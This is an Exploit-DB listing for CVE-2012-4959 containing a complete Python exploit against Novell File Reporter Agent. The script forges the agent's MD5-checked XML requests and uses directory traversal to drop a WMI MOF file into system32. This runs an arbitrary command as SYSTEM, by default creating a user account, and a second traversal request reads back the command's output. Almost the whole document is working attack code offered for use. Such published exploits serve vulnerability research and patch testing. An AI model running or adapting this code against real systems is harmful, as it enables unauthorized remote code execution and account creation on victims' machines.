Novell File Reporter Agent XML Parsing Remote Code Execution Vulnerability (0day)



EDB-ID: 23323 CVE: 2012-4959 OSVDB-ID: 87573
Author: Abysssec Published: 2012-12-12 Verified: Verified
Exploit Code:   Download Vulnerable App:   N/A

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# wwww.abysssec.com
# Novell File Reporter Agent XML Parsing Remote Code Execution Vulnerability (0day)
# CVE-2012-4959
# @abysssec
# well just one more of our 0day got published after ~2 year 
# here is info : https://community.rapid7.com/community/metasploit/blog/2012/11/16/nfr-agent-buffer-vulnerabilites-cve-2012-4959
# and here is our exploit 

import httplib, md5, sys

def message_MD5(arg):
	v = "SRS" + arg + "SERVER"
	m = md5.new(v)
	return m.hexdigest()

def genMof(command="net user abysssec 123456 /add"):		
	
	vbs = ""
	vbs += "\"Set objShell = CreateObject(\\\"WScript.Shell\\\")\\n\"\n"
	vbs += "\"objShell.Run \\\"cmd.exe /C "
	vbs += command
	vbs += "\\\"\""


	mof = """
	#pragma namespace ("\\\\\\\\.\\\\root\\\\subscription")
	#pragma deleteclass("MyASEventConsumer", nofail)
	#pragma deleteinstance("__EventFilter.Name=\\\"EF\\\"", nofail)
	#pragma deleteinstance("ActiveScriptEventConsumer.Name=\\\"ASEC\\\"", nofail)

	class MyASEventConsumer
	{
		[key]string Name;
	};

	instance of ActiveScriptEventConsumer as $CONSUMER
	{
		CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
		Name = "ASEC";
		ScriptingEngine = "VBScript";    
		ScriptText =
	SCRIPT;
	};

	instance of __EventFilter as $FILTER
	{
		CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
		Name = "EF";
		Query = "SELECT * FROM __InstanceCreationEvent"
			" WHERE TargetInstance.__class = \\"MyASEventConsumer\\"";
		QueryLanguage = "WQL";
	};

	instance of __FilterToConsumerBinding as $BINDING
	{
		CreatorSID = {1,2,0,0,0,0,0,5,32,0,0,0,32,2,0,0};
		Filter = $FILTER;
		Consumer = $CONSUMER;
	};

	instance of MyASEventConsumer
	{
		 Name = "Trigger";
	};
	""".replace('SCRIPT',vbs)

	return mof

def main(argv=None):
	if argv is None:
		argv = sys.argv
	
	if len(argv) != 2:
		print "[!] USAGE : mof \"<command]>\""
		return
	
	msg = "<ROOT><NAME>FSFUI</NAME><UICMD>130</UICMD><TOKEN><FILE>../../../../../../Windows/system32/wbem/mof/command.mof</FILE></TOKEN><![CDATA["
	msg += genMof(argv[1] + "> C:/Windows/System32/info.dat")
	msg += "]]></ROOT>" 
	body = message_MD5(msg).upper() + msg
	headers = {"Content-type": "text/xml"}
	
	conn = httplib.HTTPSConnection("192.168.10.20:3037")			
	conn.request("POST", "/SRS/CMD",body, headers)
	response = conn.getresponse()
	print "\n...Command Executed ..."
	print response.status, response.reason
	
	print response.read()
	
	msg = "<ROOT><NAME>FSFUI</NAME><UICMD>126</UICMD><TOKEN><FILE>../../../../../../WINDOWS/system32/info.dat</FILE></TOKEN></ROOT>"
	body = message_MD5(msg).upper() + msg
	conn.request("POST", "/SRS/CMD",body, headers)
	response = conn.getresponse()
	conn.request("POST", "/SRS/CMD",body, headers)
	response = conn.getresponse()
	print "\n...Getting result ..."
	print response.status, response.reason	
	print response.read()
	
	
	conn.close()


if __name__ == "__main__":
    main()